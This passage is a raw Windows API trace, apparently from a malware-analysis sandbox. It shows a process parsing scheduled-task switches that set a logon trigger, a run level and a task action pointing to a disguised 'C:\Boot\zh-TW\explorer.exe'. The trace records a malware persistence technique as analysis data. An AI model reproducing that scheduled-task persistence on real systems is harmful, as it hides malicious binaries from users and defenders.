_Size=0x7) returned 0 [0117.916] lstrlenW (lpString="ONLOGON") returned 7 [0117.916] GetProcessHeap () returned 0x2159bc10000 [0117.916] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x10) returned 0x2159bc1aa70 [0117.916] lstrlenW (lpString="ONLOGON") returned 7 [0117.916] lstrlenW (lpString=" \x09") returned 2 [0117.916] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0117.916] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0117.916] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0117.916] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0117.916] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0117.916] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0117.916] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0117.916] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0117.916] GetLastError () returned 0x0 [0117.916] lstrlenW (lpString="ONLOGON") returned 7 [0117.917] lstrlenW (lpString="ONLOGON") returned 7 [0117.917] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.917] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.917] lstrlenW (lpString="/tr") returned 3 [0117.917] lstrlenW (lpString="-/") returned 2 [0117.917] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.917] lstrlenW (lpString="create") returned 6 [0117.917] lstrlenW (lpString="create") returned 6 [0117.917] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.917] lstrlenW (lpString="tr") returned 2 [0117.917] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.917] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|create|") returned 8 [0117.917] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.917] lstrlenW (lpString="|create|") returned 8 [0117.917] lstrlenW (lpString="|tr|") returned 4 [0117.917] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0117.917] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.917] lstrlenW (lpString="?") returned 1 [0117.917] lstrlenW (lpString="?") returned 1 [0117.917] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.917] lstrlenW (lpString="tr") returned 2 [0117.917] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.917] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|?|") returned 3 [0117.917] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.917] lstrlenW (lpString="|?|") returned 3 [0117.917] lstrlenW (lpString="|tr|") returned 4 [0117.917] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.918] lstrlenW (lpString="s") returned 1 [0117.918] lstrlenW (lpString="s") returned 1 [0117.918] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.918] lstrlenW (lpString="tr") returned 2 [0117.918] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.918] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|s|") returned 3 [0117.918] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.918] lstrlenW (lpString="|s|") returned 3 [0117.918] lstrlenW (lpString="|tr|") returned 4 [0117.918] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.918] lstrlenW (lpString="u") returned 1 [0117.918] lstrlenW (lpString="u") returned 1 [0117.918] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.918] lstrlenW (lpString="tr") returned 2 [0117.918] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.918] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|u|") returned 3 [0117.918] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.918] lstrlenW (lpString="|u|") returned 3 [0117.918] lstrlenW (lpString="|tr|") returned 4 [0117.918] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.918] lstrlenW (lpString="p") returned 1 [0117.918] lstrlenW (lpString="p") returned 1 [0117.919] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.919] lstrlenW (lpString="tr") returned 2 [0117.919] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.919] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|p|") returned 3 [0117.919] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.919] lstrlenW (lpString="|p|") returned 3 [0117.919] lstrlenW (lpString="|tr|") returned 4 [0117.919] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.919] lstrlenW (lpString="ru") returned 2 [0117.919] lstrlenW (lpString="ru") returned 2 [0117.919] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.919] lstrlenW (lpString="tr") returned 2 [0117.919] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.919] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|ru|") returned 4 [0117.919] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.919] lstrlenW (lpString="|ru|") returned 4 [0117.919] lstrlenW (lpString="|tr|") returned 4 [0117.919] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0117.919] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.919] lstrlenW (lpString="rp") returned 2 [0117.919] lstrlenW (lpString="rp") returned 2 [0117.919] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.919] lstrlenW (lpString="tr") returned 2 [0117.919] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.919] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rp|") returned 4 [0117.920] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.920] lstrlenW (lpString="|rp|") returned 4 [0117.920] lstrlenW (lpString="|tr|") returned 4 [0117.920] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0117.920] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.920] lstrlenW (lpString="sc") returned 2 [0117.920] lstrlenW (lpString="sc") returned 2 [0117.920] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.920] lstrlenW (lpString="tr") returned 2 [0117.920] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.920] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.920] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.920] lstrlenW (lpString="|sc|") returned 4 [0117.920] lstrlenW (lpString="|tr|") returned 4 [0117.920] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0117.920] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.920] lstrlenW (lpString="mo") returned 2 [0117.920] lstrlenW (lpString="mo") returned 2 [0117.920] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.920] lstrlenW (lpString="tr") returned 2 [0117.920] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.920] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|mo|") returned 4 [0117.920] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.920] lstrlenW (lpString="|mo|") returned 4 [0117.920] lstrlenW (lpString="|tr|") returned 4 [0117.920] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0117.920] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.921] lstrlenW (lpString="d") returned 1 [0117.921] lstrlenW (lpString="d") returned 1 [0117.921] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.921] lstrlenW (lpString="tr") returned 2 [0117.921] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.921] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|d|") returned 3 [0117.921] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.921] lstrlenW (lpString="|d|") returned 3 [0117.921] lstrlenW (lpString="|tr|") returned 4 [0117.921] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.921] lstrlenW (lpString="m") returned 1 [0117.921] lstrlenW (lpString="m") returned 1 [0117.921] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.921] lstrlenW (lpString="tr") returned 2 [0117.921] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.921] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|m|") returned 3 [0117.921] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.921] lstrlenW (lpString="|m|") returned 3 [0117.921] lstrlenW (lpString="|tr|") returned 4 [0117.921] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.921] lstrlenW (lpString="i") returned 1 [0117.921] lstrlenW (lpString="i") returned 1 [0117.921] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.921] lstrlenW (lpString="tr") returned 2 [0117.921] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.921] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|i|") returned 3 [0117.922] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.922] lstrlenW (lpString="|i|") returned 3 [0117.922] lstrlenW (lpString="|tr|") returned 4 [0117.922] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.922] lstrlenW (lpString="tn") returned 2 [0117.922] lstrlenW (lpString="tn") returned 2 [0117.922] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.922] lstrlenW (lpString="tr") returned 2 [0117.922] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.922] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.922] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.922] lstrlenW (lpString="|tn|") returned 4 [0117.922] lstrlenW (lpString="|tr|") returned 4 [0117.922] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0117.922] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.922] lstrlenW (lpString="tr") returned 2 [0117.922] lstrlenW (lpString="tr") returned 2 [0117.922] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.922] lstrlenW (lpString="tr") returned 2 [0117.922] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.922] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.922] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.922] lstrlenW (lpString="|tr|") returned 4 [0117.922] lstrlenW (lpString="|tr|") returned 4 [0117.922] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0117.922] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.922] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.922] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.923] lstrlenW (lpString="-/") returned 2 [0117.923] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0117.923] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.923] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.923] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.923] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.923] StrChrIW (lpStart="'C:\\Boot\\zh-TW\\explorer.exe'", wMatch=0x3a) returned=":\\Boot\\zh-TW\\explorer.exe'" [0117.923] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.923] _memicmp (_Buf1=0x2159bc1a8d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.923] _memicmp (_Buf1=0x2159bc1a7f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.923] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.923] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.923] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.923] lstrlenW (lpString="'C") returned 2 [0117.923] lstrlenW (lpString="-/") returned 2 [0117.923] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0117.923] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.923] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.923] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.923] _memicmp (_Buf1=0x2159bc1a9f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.923] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.923] GetProcessHeap () returned 0x2159bc10000 [0117.923] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1aa70) returned 1 [0117.923] GetProcessHeap () returned 0x2159bc10000 [0117.923] RtlReAllocateHeap (Heap=0x2159bc10000, Flags=0xc, Ptr=0x2159bc1aa70, Size=0x3a) returned 0x2159bc1c250 [0117.923] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.923] lstrlenW (lpString=" \x09") returned 2 [0117.923] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x7a) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0117.924] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0117.924] GetLastError () returned 0x0 [0117.924] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.924] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.925] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.925] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.925] lstrlenW (lpString="/rl") returned 3 [0117.925] lstrlenW (lpString="-/") returned 2 [0117.925] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.925] lstrlenW (lpString="create") returned 6 [0117.925] lstrlenW (lpString="create") returned 6 [0117.925] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.925] lstrlenW (lpString="rl") returned 2 [0117.925] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.925] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|create|") returned 8 [0117.925] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.925] lstrlenW (lpString="|create|") returned 8 [0117.925] lstrlenW (lpString="|rl|") returned 4 [0117.925] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0117.925] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.925] lstrlenW (lpString="?") returned 1 [0117.925] lstrlenW (lpString="?") returned 1 [0117.925] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.925] lstrlenW (lpString="rl") returned 2 [0117.925] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.925] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|?|") returned 3 [0117.925] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.926] lstrlenW (lpString="|?|") returned 3 [0117.926] lstrlenW (lpString="|rl|") returned 4 [0117.926] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.926] lstrlenW (lpString="s") returned 1 [0117.926] lstrlenW (lpString="s") returned 1 [0117.926] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.926] lstrlenW (lpString="rl") returned 2 [0117.926] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.926] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|s|") returned 3 [0117.926] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.926] lstrlenW (lpString="|s|") returned 3 [0117.926] lstrlenW (lpString="|rl|") returned 4 [0117.926] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.926] lstrlenW (lpString="u") returned 1 [0117.926] lstrlenW (lpString="u") returned 1 [0117.926] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.926] lstrlenW (lpString="rl") returned 2 [0117.926] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.926] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|u|") returned 3 [0117.926] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.927] lstrlenW (lpString="|u|") returned 3 [0117.927] lstrlenW (lpString="|rl|") returned 4 [0117.927] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.927] lstrlenW (lpString="p") returned 1 [0117.927] lstrlenW (lpString="p") returned 1 [0117.927] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.927] lstrlenW (lpString="rl") returned 2 [0117.927] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.927] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|p|") returned 3 [0117.927] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.927] lstrlenW (lpString="|p|") returned 3 [0117.927] lstrlenW (lpString="|rl|") returned 4 [0117.927] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.927] lstrlenW (lpString="ru") returned 2 [0117.927] lstrlenW (lpString="ru") returned 2 [0117.927] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.927] lstrlenW (lpString="rl") returned 2 [0117.927] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.927] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|ru|") returned 4 [0117.927] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.927] lstrlenW (lpString="|ru|") returned 4 [0117.927] lstrlenW (lpString="|rl|") returned 4 [0117.927] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0117.928] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.928] lstrlenW (lpString="rp") returned 2 [0117.928] lstrlenW (lpString="rp") returned 2 [0117.928] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.928] lstrlenW (lpString="rl") returned 2 [0117.928] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.928] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rp|") returned 4 [0117.928] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.928] lstrlenW (lpString="|rp|") returned 4 [0117.928] lstrlenW (lpString="|rl|") returned 4 [0117.928] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0117.928] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.928] lstrlenW (lpString="sc") returned 2 [0117.928] lstrlenW (lpString="sc") returned 2 [0117.928] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.928] lstrlenW (lpString="rl") returned 2 [0117.928] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.928] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.928] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.928] lstrlenW (lpString="|sc|") returned 4 [0117.928] lstrlenW (lpString="|rl|") returned 4 [0117.928] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0117.928] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.928] lstrlenW (lpString="mo") returned 2 [0117.928] lstrlenW (lpString="mo") returned 2 [0117.928] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.929] lstrlenW (lpString="rl") returned 2 [0117.929] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.929] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|mo|") returned 4 [0117.929] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.929] lstrlenW (lpString="|mo|") returned 4 [0117.929] lstrlenW (lpString="|rl|") returned 4 [0117.929] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0117.929] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.929] lstrlenW (lpString="d") returned 1 [0117.929] lstrlenW (lpString="d") returned 1 [0117.929] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.929] lstrlenW (lpString="rl") returned 2 [0117.929] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.929] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|d|") returned 3 [0117.929] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.929] lstrlenW (lpString="|d|") returned 3 [0117.929] lstrlenW (lpString="|rl|") returned 4 [0117.929] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.929] lstrlenW (lpString="m") returned 1 [0117.929] lstrlenW (lpString="m") returned 1 [0117.929] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.929] lstrlenW (lpString="rl") returned 2 [0117.929] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.930] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|m|") returned 3 [0117.930] _vsnwprintf (in: 